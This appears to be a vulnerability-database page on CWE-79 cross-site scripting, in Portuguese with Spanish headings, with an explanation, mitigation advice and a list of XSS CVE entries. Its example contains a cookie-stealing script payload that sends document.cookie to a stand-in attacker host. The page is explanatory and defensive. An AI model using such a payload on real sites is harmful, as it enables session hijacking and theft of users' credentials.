Fallos del tipo CWE-79

30.269 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-89268MEDIUMQloApps through 1.7.0 Reflected XSS via List Filter ParametersEPSS 0.3%CVE-2023-50712MEDIUMImproper Neutralization of Alternate XSS Syntax in iris-web EPSS 0.3%CVE-2025-30920MEDIUMWordPress WP Posts Carousel plugin <= 1.3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-50167MEDIUMPega Platform from 7.1.7 to 23.1.1 is affected by an XSS issue with editing/rendering user html content.EPSS 0.3%CVE-2026-22867HIGHLaSuite Doc affected by Stored XSS via Interlinking BlockEPSS 0.3%CVE-2026-72725MEDIUMDiscourse: Stored XSS in staff action logs injects staff UIEPSS 0.3%CVE-2026-103478MEDIUMPremium Packages <= 7.2.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'checkout[billing][phone]' ParameterEPSS 0.3%CVE-2024-37114MEDIUMWordPress My Favorites plugin <= 1.4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51929MEDIUMWordPress Icon Widget plugin <= 1.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-0664MEDIUMRoyal Elementor Addons <= 1.7.1049 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API Meta BypassEPSS 0.3%CVE-2026-41921MEDIUMKoha Stored XSS via Purchase Suggestion HandlerEPSS 0.3%CVE-2025-31819MEDIUMWordPress Nova Blocks by Pixelgrade plugin <= 2.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-84701MEDIUMNocoBase Rich Text Field Stored Cross-Site Scripting via APIEPSS 0.3%CVE-2026-9318MEDIUMtablib versions prior to 3.10.0 Stored XSS via HTML Export Dataset TitleEPSS 0.3%CVE-2026-111578HIGHPDF Invoices & Packing Slips for WooCommerce 5.16.2 - 5.16.4 - Unauthenticated Stored XSS via Order Address and Customer Note FieldsEPSS 0.3%CVE-2026-8391MEDIUMOther issue in the JavaScript Engine componentEPSS 0.3%CVE-2025-2800HIGHWP Event Manager <= 3.1.50 - Unauthenticated Stored Cross-Site Scripting via 'organizer_name'EPSS 0.3%CVE-2026-58579MEDIUMRAGFlow < 0.26.3 - Stored Cross-Site Scripting via Agent Pipeline Node NameEPSS 0.3%CVE-2026-14358MEDIUMStored XSS in Wikimedia Chart pie tooltip via Data:*.tab field titleEPSS 0.3%CVE-2024-5090MEDIUMSiteOrigin Widgets Bundle <= 1.61.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via SiteOrigin Blog WidgetEPSS 0.3%